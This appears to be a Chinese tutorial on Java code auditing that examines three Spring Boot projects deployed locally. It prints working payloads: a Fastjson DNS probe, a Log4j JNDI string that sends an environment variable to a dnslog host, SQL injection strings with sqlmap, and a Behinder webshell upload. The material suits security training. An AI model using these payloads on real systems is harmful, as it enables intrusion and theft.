b、在login中 通过Shiro框架提供的SecurityUtils抽象类的getSubject()方法获取shiro框架中配置的全局唯一SecurityManager对象进行数据交互处理。

/* 获取当前的 Subject. 调用 SecurityUtils.getSubject();*/
Subject currentUser = SecurityUtils.getSubject();
// 测试当前的用户是否已经被认证. 即是否已经登录.  
// 调动 Subject 的 isAuthenticated()
if (!currentUser.isAuthenticated()) {
// 把用户名和密码封装为 UsernamePasswordToken 对象
UsernamePasswordToken token = new UsernamePasswordToken(email, password);
// rememberme
// 执行登录,把数据交给了shiro中的Security Manager
currentUser.login(token);  

c、完成B的操作后,就会触发MyReaml中的:

protected AuthenticationInfo doGetAuthenticationInfo( AuthenticationToken token) throws AuthenticationException {
    //用户名
    String username = (String) token.getPrincipal(); 
    //密码
    String password = new String((char[])token.getCredentials()); 
}
   //然后根据配置的的方式(采用数据源、缓存....)其他方式进行数据处理

框架是怎么认证用户及对具体的权限进行授权管理的?

shiro提供了一个Realm组件,其有以下特性:

Realm:访问应用程序安全数据(如用户、角色及权限)的组件。 Realm 通常和数据源是一对一的对应关系,如关系数据库、文件系统或其他类似资源。Realm 实质上就是一个访问安全数据的 DAO。数据源通常存储身份验证数据(如密码的凭证)以及授权数据(如角色或权限),所以每个Realm都能够执行身份验证和授权操作。

根据上述描述,Shiro 的认证过程由 Realm 执行,当外部应用层调用Subject.login(token)时,SecurityManager 会调用 org.apache.shiro.realm.Realm 的getAuthenticationInfo(AuthenticationToken token) 方法,这个外部应用层自己需要实现一个具体的实现类,满足自己具体的业务需求,例如下面说列举的。

public class MyRealm extends AuthorizingRealm{
}
 自己实现的Realm类继承shiro 中的 AuthorizingRealm类  重写下面两个方法
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals)
 {
    //我们可以通过用户名从数据库获取权限/角色信息,在这个地方,可以与缓存接合,首次获取某个用户的相关信息时从数据库中获取,以后就可以从缓存中获取了。
  
    问题:权限临时变更后,这个同步到缓存中的操作 是否在授权管理的地方直接操作。
}
protected AuthenticationInfo doGetAuthenticationInfo(   AuthenticationToken token)
{
   //从数据库或缓存中获取用户名密码进行匹配
   在这个地方,可以与缓存接合,首次获取某个用户的相关信息时从数据库中获取,以后就可以从缓存中获取了
   问题:用户权限变更后,这个同步到缓存中的操作 是否在授权管理的地方直接操作
 }
}
在本文档中,对缓存的管理不再具体展开, Shiro 自身不实现缓存,而是提供缓存接口,让其他第三方实现,默认支持EhCache和MapCache缓存

应用平台是怎么从shiro框架中获取登录状态信息的?

login怎么获取shiro的登录结果状态:

String exceptionClassName = (String) request.getAttribute("shiroLoginFailure");
if(exceptionClassName!=null){
    if(UnknownAccountException.class.getName().equals(exce ptionClassName)) {
    System.out.println("账号不存在");
    } else if (IncorrectCredentialsException.class.getName().equals(exceptionClassName)) {
        System.out.println("用户名/密码错误");
    } else 
    if("randomCodeError".equals(exceptionClassName)){
        System.out.println("验证码错误"); 
    } else{
        System.out.println("未知错误");
    }
}

至此应用层可以委托Shiro框架进行认证管理的处理了。

十六、代码审计案例

1、进销业务管理系统代码审计

企业级进销存管理系统,采用SpringBoot+Shiro+MyBatis+EasyUI构建。

修改 src/main/resouces/application.properties配置文件内容,具体如下图所示:

Java代码审计详解_第166张图片

部署过程略过,点击Run/Debug Configurations...

启动项目。 

1)pom.xml框架审计

通过对pom.xml审计,发现如下框架及版本:

Java代码审计详解_第167张图片

从pom.xml配置文件中可以看到其中的框架信息,对其进行审计shiro为1.4.0版本,这个版本存在一系列安全漏洞Apache Shiro是一个Java安全框架,有身份验证、授权、密码和会话管理等功能。 

Java代码审计详解_第168张图片

Java代码审计详解_第169张图片 

Java代码审计详解_第170张图片 

由上可知,本项目使用的Shiro 1.4.0版本存在多个漏洞,大致可以分为两个。一是 Padding Oracle Attack漏洞,二是通过路径匹配问题造成权限绕过漏洞。

2)shiro权限绕过

shiro是做身份认证和权限管理的一款apache框架,可以和spring一起使用。这次的权限绕过漏洞就出在和spring boot搭配这里。

shiro框架通过拦截器来实现对用户访问权限的控制和拦截。

Shiro常见的拦截器有anon、authc等。

1. anon:匿名拦截器,不需登录就能访问,一般用于静态资源,或者移动端接口。
2. authc:登录拦截器,需要登录认证才能访问的资源。

我们通过在配置文件中配置需要登录才可访问的url,实现对url的访问控制。其中,url的路径表达式为Ant格式。

Ant风格,为请求路径的一种匹配方式:

Java代码审计详解_第171张图片

Java代码审计详解_第172张图片

本项目使用了/**表达式,是不存在Shiro权限绕过的漏洞的。 

存在漏洞的整个请求过程:

1. 客户端请求URL: /xxx/..;/admin/
2. shrio 内部处理得到校验URL为 /xxx/.. 校验通过
3. springboot 处理 /xxx/..;/admin/ 最终请求 /admin/ 成功访问了后台请求.

shiro 存在低版本漏洞风险。

3)验证码绕过

验证码重复利用,通过对登陆等核心代码进行审计,梳理登陆过程中的逻辑顺序:

Java代码审计详解_第173张图片

在39行中对login拦截,并通过42行提交登陆参数:

Java代码审计详解_第174张图片

跟着42行login方法,打开login方法,在47及48行中只对验证码做了验证,验证后并未生成新的验证码,这就可以导致验证码进行无限次验证。

47行将输入过来的验证码转为大写后和session中的验证做一次对比,48行如果if判断为否返回错误提示。

Java代码审计详解_第175张图片

通过这块代码对比可以发现,验证码并未达到一次一码,只要输入一次正确验证码,可以进行无限次爆破。

因此基本可以判断登陆处存在账号密码爆破。 

4)sql注入审计

通过对框架的审计发现使用Mybatis框架;Mybatis框架对sql的处理:

${xx}是直接拼接
#{xxx}预处理后拼接 

全局搜索${ 查看xml中是否有响应配置;并未发现xml中有相应配置。

Java代码审计详解_第176张图片

里面都是#{配置:

Java代码审计详解_第177张图片

5)xss审计

在我们审计xss漏洞时,首先要审计是否有xss全局过滤器,对于整套系统来说不可能每个功能点自己搞个xss过滤,一般都是通过全局过滤器来进行过滤。

那么结合本套代码的框架,我们来看一下过滤器。

springboot框架下查看shiro中filter过滤器配置,其中并未发现有xss过滤器配置,基本判断无xss过滤:

Java代码审计详解_第178张图片

6)任意添加用户信息

添加/修改这类能够直接写入数据库数据的操作。

在/role目录下的添加用户操作/save:

Java代码审计详解_第179张图片

在save方法中只对用户信息做了校验并直接使用addUser()方法将数据进行了提交,并未对提交次数进行验证,因此存在无限次添加用户信息。 

Java代码审计详解_第180张图片

2、购物网站代码审计

基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

项目地址:SpringBoot迷你天猫商城(Mini-Tmall): 基于Spring Boot的迷你天猫商城,快速部署运行,适合作为毕设模板所用技术:Spring Boot/MySQL/Druid/Log4j2/Maven/Echarts/Bootstrap

使用IDEA打开本项目,等待Maven自动加载依赖项,如果时间较长需要自行配置Maven加速源。几个现象表明项目部署成功。pom.xml文件无报错,项目代码已编译为class, Run/Debug Configurations...处显示可以运行。

如下图所示:

Java代码审计详解_第181张图片

修改 src/main/resouces/application.properties配置文件内容,具体如下图所示: 

Java代码审计详解_第182张图片

点击启动Run/Debug Configurations... 本项目,启动成功,如下图所示: 

Java代码审计详解_第183张图片

1)第三方组件漏洞审计

本项目是基于Maven构建的。对于Maven项目,我们首先从pom.xml文件开始审计引入的第三方组件是否存在漏洞版本,然后进一步验证该组件是否存在漏洞点。

什么是pom.xml?

项目对象模型或POM是Maven的基本工作单元。它是一个XML文件,其中包含有关Maven用于构建项目的项目和配置详细信息。它包含大多数项目的默认值。示例是构建目录,即target;这是源目录src/main/java;测试源目录src/test/java;等等。

POM已从Maven 1中的project.xml重命名为Maven 2中的pom.xml。而不是具有包含可执行目标的maven.xml文件,目标或插件现在已在pom.xml中配置。执行任务或目标时,Maven会在当前目录中查找POM。它读取POM,获取所需的配置信息,然后执行目标。

可以在POM中指定的一些配置是项目依赖性,可执行的插件或目标,构建配置文件等。还可以指定其他信息,如项目版本,描述,开发人员,邮件列表等。

本项目引入的组件以及组件版本整理如下:

Java代码审计详解_第184张图片

整理完成后,如何确定该组件版本存在漏洞?最简单的方法无疑于从搜索引擎进行搜索,比如关键字:Fastjson 漏洞。进一步可从组件官网,CVE,CNVD,CNNVD等网站查询。 

2)Fastjson反序列化

本项目引入的Fastjson版本为1.2.58,该版本存在反序列化漏洞。

已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。

我们关注两个函数 JSON.parse()和 JSON.parseObject(),并且执行函数内参数用户可控
Edit-Find->Find in path

全局搜索两个关键字,发现本项目存在JSON.parseObject(),如下图所示:

在 ProductController.java中使用到了上诉关键词:

Java代码审计详解_第185张图片

在151、257、281行均调用了 JSON.parseObject()方法,则这几处均存在反序列化。

黑盒验证:

够着url及参数:

方法一:通过对各个页面的访问并抓包,找到propertyAddJson参数。
方法二:通过抓包,观察数据格式构造url。

这里我们优先结合方法一,方法二更适合get请求。

构造url:通过代码中的admin/product    

http://127.0.0.1:8088/t mall/admin/product 

Java代码审计详解_第186张图片

结合上述访问在网站中快速定位到页面,”添加一件产品“功能处是调用上述product方法:

Java代码审计详解_第187张图片

下面属性值就是json数据: 

Java代码审计详解_第188张图片

定位位置后,尝试payload: 

Java代码审计详解_第189张图片

虽然响应包报错,但是dnslog已经出现访问: 

Java代码审计详解_第190张图片

上面是可以出网的情况,下面则是不出网漏洞验证。

在内网环境中,无法利用互联网的DNSlog进行漏洞验证。我们可以使用BurpSuite中的 Burp Collaborator client功能来进行验证。

该功能需使用BurpSuite专业版本:

① 打开BurpSuite,点击左上角Burp-Burp Collaborator client 进入该功能,如下图所示:

Java代码审计详解_第191张图片

② 点击 Copy to clipboar后,你会获取到一个测试地址,拼凑成漏洞验证POC: 

{"@type":"java.net.Inet4Address","val":"mlbqit7ocev29vd3k5w205zqchi86x.burpcollaborator.net"}

然后将其粘贴到propertyJson字段中,点击发送数据包。稍等一会,多点几次poll now,可以看到 Burp Collaborator client接收到了探测信息,如下图所示:

Java代码审计详解_第192张图片

至此,Fastjson漏洞验证之旅已结束,通过DNSLog方式,我们证明了该地方存在Fastjson反序列化漏洞。 

3)log4j反序列化

本项目引入的Log4j版本为2.10.0。2.0

由于Apache Log4j2某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码。

其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。

该组件漏洞主要发生在引入的log4j-core, log4j-api是不存在该问题的。log4j-core是源码, log4j-api是接口。

pom.xml文件引入Log4j组件情况如下图所示,引入了log4j-core,以及版本为2.10.0。基本确定存在问题,验证还需进一步寻找能触发的漏洞点。

Java代码审计详解_第193张图片

由于SprinBoot默认自带日志记录框架,一般不需要引入,在pom.xml中剔除出去。

如下图所示: 

Java代码审计详解_第194张图片

寻找漏洞触发点 

简单的说,就是配合log的等级过滤输出比如,你在开发的时候,要验证一个方法有没有被调用到,为了方便调试,通常会在这个方法开始的时候加一些system.out。但是项目真正发布的时候这些代码通常是要移除掉的,所以通常更建议用logger来记录所以你可能会加logger.debug。 为什么是debug而不是info error或者其他呢?

因为通常项目发布的时候都会把日志等级设置为error 或者info之类的等级,在这两个等级下debug的内容是输出不了的,所以就可以做到不需要修改代码就不会输出你只有在调试的时候才需要输出的内容各个等级都是有它的含义的,虽然在代码写的时候你用debug info error都是可以,但是为了方便管理,只有调试的时候才用到日志会用debug,一些信息类的日志记录通常会用info(比如你想看一天有几个用户登录),一些错误的,或者异常信息会用error,比如某个时刻数据库连接出了问题,如果分析日志,直接搜索error开头的就能直接定位到了。

一共分为五个级别:DEBUG、INFO、WARN、ERROR和FATAL。这五个级别是有顺序的,DEBUG < INFO < WARN < ERROR < FATAL

全局搜索关键字logger,如下图可以看出,本项目使用logger.info级别记录日志方式居多:

Java代码审计详解_第195张图片

大多漏洞分析文章使用 logger.error去做调试。两者区别在于默认记录信息不同,这套代码则大部分使用logger.info而两者知识默认记录的内容不一样,至于出发反序列化都是一样的。

经过一番探索,发现有几处日志记录拼接了变量参数,让我们看看这些参数是否是从前端传来的。如下图所示: 

Java代码审计详解_第196张图片

双击即可进入该代码文件,该文件位于:src\main\java\com\xq\tmall\controller\admin\AccountController.java。

该代码文件位于Controller层,主要用于和视图交互,处理用户输入的数据等操作。

关键代码如下图所示:

Java代码审计详解_第197张图片

对上述代码进行分析。触发漏洞点的代码为65行的
logger.info("获取图片原始文件名:{}", originalFileName); 。

向上追踪,发现通过 file.getOriginalFilename(); 获取file的文件名后赋值给 originalFileName。在向上追踪,file参数来自admin/uploadAdminHeadImage接口。

黑盒验证:

下面就是两种方法:

第一:根据注释提示可以看出来为管理员头像上传功能。
第二:根据代码拼数据包,用一个上传图片的数据包来改 

第一种情况:

修改filename=“${jndi:ldap://${env:OS}.b0gbfq.dnslog.cn}” 

Java代码审计详解_第198张图片

DNSLog响应:

Java代码审计详解_第199张图片

第二种情况:

通过代码拼凑出url:

https://127.0.0.1:8088/tmall/admin/uploadAdminHeadImage

随便找个上传功能抓包,用它的包体:

Java代码审计详解_第200张图片

再随便抓一个tmall网站的数据包,用它的包头: 

Java代码审计详解_第201张图片

将请求改成POST,url替换为拼接出来的,然后更换刚才抓的包头,再改filename之后使用burp发包,就可以看到dnslog上的数据:

Java代码审计详解_第202张图片

Java代码审计详解_第203张图片

不能出网的使用burp通fastjson验证方法: 

Java代码审计详解_第204张图片

4) Mybatis-sql注入

通过对pom.xml的审计,发现使用Mybatis框架,则对全局${进行搜索,由于我们关注的是mybatis中的拼接,因此只需要关注xxxMapper.xml

Java代码审计详解_第205张图片

找到拼接sql语句的id:

Java代码审计详解_第206张图片

根据id和返回的userMap定位调用该sql语句的接口,也可以在idea中安装“ Free Mybatis plugin”插件,通过插件一键定位:

Java代码审计详解_第207张图片

依次向上推,找到调用iml接口的dao层方法ctrl+左键:

Java代码审计详解_第208张图片

点击getList,有两个UserController.java调用,选取getList,因为它的orderUtil不为空: 

Java代码审计详解_第209张图片

到了UserController.java 170行,orderUtil对象相关的是orderBy和isDesc相关,对这连个参数进行跟踪:

Java代码审计详解_第210张图片

这里orderBy和idDesc都是从request中获得,但是idDesc被限制了boolean,并且sql语句中orderUtil.orderBy只用到了orderBy:

Java代码审计详解_第211张图片

因此找到或者拼凑下面url地址及参数,根据代码拼凑: 

Java代码审计详解_第212张图片

admin/user/{index}/{count}中的urderBy参数就可验证其为sql注入。

黑盒验证:

http://localhost:8080/tmall/admin/user/1/1

参数:user_name=&user_gender_array=&orderBy=1&isDesc=随机抓取一个登录后的数据包,然后替换掉url和参数:

GET /tmall/admin/user/1/1?
user_name=&user_gender_array=&orderBy=1&isDesc= HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-
HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: text/html;charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/tmall/admin
Cookie: username=admin; username=admin; 
JSESSIONID=F0CC11F764DE048B217CEC300BEC6C08; remember-
me=YWRtaW46MTY0OTI0NDI5MjEyODplNTlhM2JmZThmNDI3OTk3N zgzYmE5ZTAxMDFmNTkyZQ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

发包请求,发现有正常响应: 

Java代码审计详解_第213张图片

有数据响应,证明请求正常,下面手工验证orderBy是否存在sql注入,下面给出的几个验证注入点的payload,均证明出了orderBy存在sql注入点。

① 使用rand函数结果显示排序方式不同

orderBy=rand(1=1) 
orderBy=rand(1=2)

 ② 利用regexp(正则表达式)

orderBy=(select+1+regexp+if(1=1,1,0x00)) 正常
orderBy=(select+1+regexp+if(1=2,1,0x00)) 错误

③ 利用updatexml(更新选定XML片段的内容)

orderBy=updatexml(1,if(1=1,1,user()),1) 正确
orderBy=updatexml(1,if(1=2,1,user()),1) 错误

④ 利用extractvalue(从目标XML中返回包含所查询值的字符串)

orderBy=extractvalue(1,if(1=1,1,user())) 正确
orderBy=extractvalue(1,if(1=2,1,user())) 错误

⑤ 时间盲注

orderBy=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

使用SQLmap

① 将数据包保存放入txt文件中,在orderBy参数处键入*,表示只对该地方进行探测注入。如下图所示:

Java代码审计详解_第214张图片

② 命令行进入SQLmap文件中,并键入命令: python sqlmap.py -r txt文件地址,如下图所示:

③ 回车,进行SQL注入攻击,最终得到结果如下: 

Java代码审计详解_第215张图片

5)存储型XSS

审计存储型XSS思路有几种:

第一:根据fortify(扫描器)扫出来的提示,但是这个往往对反射型会比较多,存储型比较少

第二:黑盒测试,再抓包根据url,参数定位代码审计(这种更不推荐,他的场景更少,自我学习中会经常用到)

第三:根据原理审计,存储型xss必定要将xss语句存入数据库,然后在页面刷新存的这个参数时就会被浏览器刷新执行。那存到数据库下手,那存在存储型的大部分是update方法照成的,因为写入如数据无非就是insert和update,insert写入的数据不一定会在前端jsp有显示,但是update的数据一本都会在页面显示。

当然以上三种前提是没有对写入参数进行过滤,那这里主要的就是先查看有没有全局过滤器filter或者拦截器(Interceptor)。

审查pom.xml中是否配置拦截器,经过排查jsp的配置,并未专门针对性的配置filter拦截器。

Java代码审计详解_第216张图片

审计表filter,发现里面只对登录时绘画做了过滤判断,并没有xss的全局过滤器: 

Java代码审计详解_第217张图片

按照第三种情况进行排查,sql语句中的update方法,全局搜索

Java代码审计详解_第218张图片

通过上面的id,及返回类型定位到下面指定方法: 

Java代码审计详解_第219张图片

通过dao层定位到实现层代码: 

Java代码审计详解_第220张图片

通过实现层一次定位到java层,通过分析最能回显的可能就是admin_nickname(昵称): 

Java代码审计详解_第221张图片

全局搜索admin_nickname昵称这个单词,到jsp文件中去找,发现确实存在回显: 

Java代码审计详解_第222张图片

确定有回显,剩下的就是去网站中找修改昵称的功能了。 

Java代码审计详解_第223张图片

插入payload:

 

Java代码审计详解_第224张图片

6)任意文件上传

在做Log4j漏洞代码审计时,我们发现管理员头像上传存在文件上传功能,对于该功能,我们主要审计一下是否存在任意文件上传漏洞。

一般,对于代码审计任意文件上传漏洞来说,首先是看看是否存在文件上传功能,然后进一步审计是否存在任意文件上传漏洞。

或者我们可以查看Controller层所有代码,缕清项目大致有哪些功能点。

或者搜索相关关键字,文件上传关键字如下:

File
FileUpload
FileUploadBase
FileItemIteratorImpl 
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream 
DiskFileItemFactory 
MultipartRequestEntity 
MultipartFile
com.oreilly.servlet.MultipartRequest

但对于 SpingBoot项目来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。如下图所示:

Java代码审计详解_第225张图片

这次,我们先关注本项目的管理员头像上传文件上传功能,进行代码审计。 

已知本项目引入了对JSP解析的依赖,下面我们审计管理员头像上传功能的关键代码,看看能否上传JSP木马。

代码如下图所示:

Java代码审计详解_第226张图片

代码审计分析: 

①  第62行,通过 @RequestMapping注解,我们得到如下几个信息:
1. 上传接口为admin/uploadAdminHeadImage(如果找不到前端页面,可以直接向该接口发送构造好的数据包)
2. 上传方法为POST
3. produces = "application/json;charset=UTF-8,定义了返回格式为JSON
关键信息为接口地址
② 第63行, uploadAdminHeadImage方法接受绑定的file参数和 session参数,我们主要关注file参数。
③ 第64行,获取到文件名称后赋值给originalFileName。
④ 第67行,是获取文件后缀名,先看括号内originalFileName.lastIndexOf('.'),获取originalFileName字符串最后一次出现.的地方。然后通过substring截取子串的方式得到文件后缀名,赋值给变量extension。也就是说,尽管出现 .jsp.jsp.jsp这种形式后缀名,最后得到的结果也只有.jsp。

⑤ 第69行,随机命名文件,采用 UUID+extension方式,并赋值给 fileName参数。
⑥ 第71行,获取上传路径,赋值给filePath。
⑦ 第76到80行,上传文件关键代码,创建文件流将文件上传到filePath路径中,上传成功后,会返回该文件的文件名。

黑盒验证

在代码审计阶段,我们确定了管理后台中管理员头像上传处存在任意文件上传漏洞。

我们从渗透测试角度对其进行漏洞验证。

工具涉及到BurpSuite和冰蝎

下载地址:Releases · rebeyond/Behinder · GitHub

① 首先,访问后台管理-我的账户功能。并且打开BurpSuite,以及浏览器代理并指向BurpSuite地址。
② 点击管理员头像,选择任意图片进行上传。此时BurpSuite抓取到上传文件数据包,将其发送到Repeater模块,以备后续使用,数据包如下图所示:

Java代码审计详解_第227张图片

③ 修改filename后缀名为.jsp,并修改 Content-Type:text/plain。将原先文件数据内容删除,并将冰蝎server/shell.jsp木马内容复制粘贴到上传数据包处后,点击发送数据包,获取到文件名字。如下图所示:

Java代码审计详解_第228张图片

通过页面中头像地址来拼凑出jsp冰蝎马的地址: 

http://localhost:8088/tmall/res/images/item/adminPro filePicture/f0529522-dd07-41b5-b93f-681e03e430fc.jsp

Java代码审计详解_第229张图片

使用冰蝎客户端链接:

打开冰蝎,右键新增,将URL地址粘贴进去,并键入密码(默认密码为: pass),如下图所示: 

Java代码审计详解_第230张图片

点击保存后,网站列表多了我们新增加的地址,双击该地址,即可连接JSP木马,如下图所示:

Java代码审计详解_第231张图片

7)不安全的HTTP请求

PUT方法:

Java代码审计详解_第232张图片

8)Fortify扫描结果分析

Fortify是根据其rules进行静态匹配,也就是根据规则进行匹配,因此这里面有很多误报,在我们代码审计过程中只做参考,不做主要依据。 

① 反射型xss

${pageContext.request.contextPath} pageContext为内置函数,不能改变
${requestScope.product.product_id}requestScope类似request.getParameter,但是这里的product对象是后端传递,前端并不能修改,因此这里的product_id不能修改。

Java代码审计详解_第233张图片

② keyManagement(key值泄露)

为js中的key,并不是真正的key关键词: 

Java代码审计详解_第234张图片

③ Open Rediect

同反射型xss,参数不可控,不存在url跳转:

④ Password (密码泄露)

不存在,只是匹配到了password:

Java代码审计详解_第235张图片

⑤ sql注入

组件审计中已经审计出,确实存在,但fortify帮助我们把所有存在直接拼接的地方都扫描出来了 

Java代码审计详解_第236张图片

⑥ weak Encryption(弱加密)

前端jsp存在AES若加密:

Java代码审计详解_第237张图片

⑦ Password Management(密码管理)

数据库密码明文配置: 

Java代码审计详解_第238张图片

⑧ Privacy Violation(隐私侵犯)

主要都是匹配到了password关键词。

正常情况下是合规性检查,是否匹配上了个人的电话,身份证号是否打星。

Java代码审计详解_第239张图片

3、OA系统代码审计

oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、 mybatis等框架,作为初学springboot的同学是一个很不错的项目。

使用IDEA打开oasys项目,等待Maven自动加载依赖项,如果时间较长需要自行配置Maven加速源。几个现象表明项目部署成功。 pom.xml文件无报错,项目代码已编译为class, Run/Debug Configurations...处显示可以运行。

如下图所示:

Java代码审计详解_第240张图片

修改 src/main/resouces/application.properties配置文件内容,具体如下图所示: 

Java代码审计详解_第241张图片

点击启动 Run/Debug Configurations...本项目,启动成功如下图所示: 

Java代码审计详解_第242张图片

首先审计pom.xml查看整体框架,本项目引入的组件以及组件版本整理如下:

Java代码审计详解_第243张图片

1)Mybatis-sql注入

全局搜索${ 查找xml文件: 

Java代码审计详解_第244张图片

搜索allDirector方法及返回类型为Map: 

Java代码审计详解_第245张图片

outAddress方法中am.allDirector调用该方法: 

Java代码审计详解_第246张图片

根据代码可以尝试构造数据包

@RequestParam用来处理Content-Type: 为 application/x-www-form-urlencoded编码的内容,提交方式GET、POST。因此在构造数据包时要加入Content-Type:application/x-www-form-urlencoded才能使后端代码获取到对应参数值。

前端请求传Json对象则后端使用@RequestParam;前端请求传Json对象的字符串则后端使用@RequestBody。json的Content-Type:application/json或Content-Type:text/json,当然post类型的数据包可以抓取post请求,然后替换掉url和参数值。

POST /outaddresspaging HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: 
text/html,application/xhtml+xml,application/xml;q=0. 9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-
HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type:application/x-www-form-urlencoded Referer: http://localhost:8088/testsysstatus Cookie: JSESSIONID=55DD494815FDC35487ED3DB2CA209D6D Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Length: 45
pageNum=1&baseKey=&outtype=&alph=&userId=

发送数据包后,代码断点拦截,说明数据包没有问题,下面就是判断注入点:

Java代码审计详解_第247张图片

根据xml注入参数,以下标红参数为存在注入参数: 

Java代码审计详解_第248张图片

尝试outtype参数1' :

Java代码审计详解_第249张图片

通过断点,可以按到控制台输出的sql语句,outtype已经写入到了sql语句中: 

SQL: select count(0) from (SELECT d.*,u.* FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON d.director_id = u.director_id WHERE u.user_id=? AND u.director_id is NOT null AND u.is_handle=1 AND d.pinyin LIKE '1%' AND u.catelog_name = '1'' (d.user_name LIKE '%2%' OR d.phone_number LIKE '%2%' OR d.companyname LIKE '%2%' OR d.pinyin LIKE '2%' OR u.catelog_name LIKE '%2%' ) order by u.catelog_name) tmp_count

代码审计确认存在sql注入。

2)fastjson反序列化

fastjson <=1.2.68存在反序列化,则单纯的从版本上来看,本套代码中的版本是1.2.36,存在反序列化的风险。

查找是否使用了反序列化的两个方法:

JSON.parse (String text)
JSON.parseObject(String text)

通过全局搜索,后端不存在JSON.parse方法的调用,因此这里不存在反序列化,但是存在反序列化的风险,因此依旧建议升级fastjson。

Java代码审计详解_第250张图片

3)文件上传

通过对pom.xml的审计,可以看出使用了commons-fileupload,则判断是否存在文件上传,全局搜索fileup。 

Java代码审计详解_第251张图片

对uploadfile方法进行审计,中间使用了fs.savefile()方法对文件进行保存。

Java代码审计详解_第252张图片

savefile方法中获取后缀后,直接做了拼接,保存到硬盘中,并没有白名单或者黑名单进行判断过滤 。

Java代码审计详解_第253张图片

由于是文件上传,可以采用功能查找,在文件管理处,使用文件上传功能抓包。 

Java代码审计详解_第254张图片

黑盒验证:

将上传的图片后缀和内容修改为冰蝎马。 

Java代码审计详解_第255张图片

从页面未能找到回显路径,但在硬盘中搜索,存在上传的冰蝎马:

Java代码审计详解_第256张图片

4)xss代码审计

1. 审查全局过滤器
2. 关键词 3. setAttribute( 方法写入的request中,并进行转发

当我们看到框架中使用了data-jpa时,我们就能判断这里的持久层使用ORM映射关系,那么我们就可以搜索setAttribute方法,定位到这个方法也主要是抓包,系统菜单-》类型管理--》修改.

 Java代码审计详解_第257张图片

Java代码审计详解_第258张图片

在TypeSysController.java中,100行将menu写入到req中,在129行调用save方法将menu保存到数据库中。 

Java代码审计详解_第259张图片

最后返回到typeedit: 

Java代码审计详解_第260张图片

typeedit.ftl通过el表达式获取值进行回显: 

Java代码审计详解_第261张图片

验证: 

Java代码审计详解_第262张图片

你可能感兴趣的:(安全工具开发,代码审计,逆向,java,开发语言)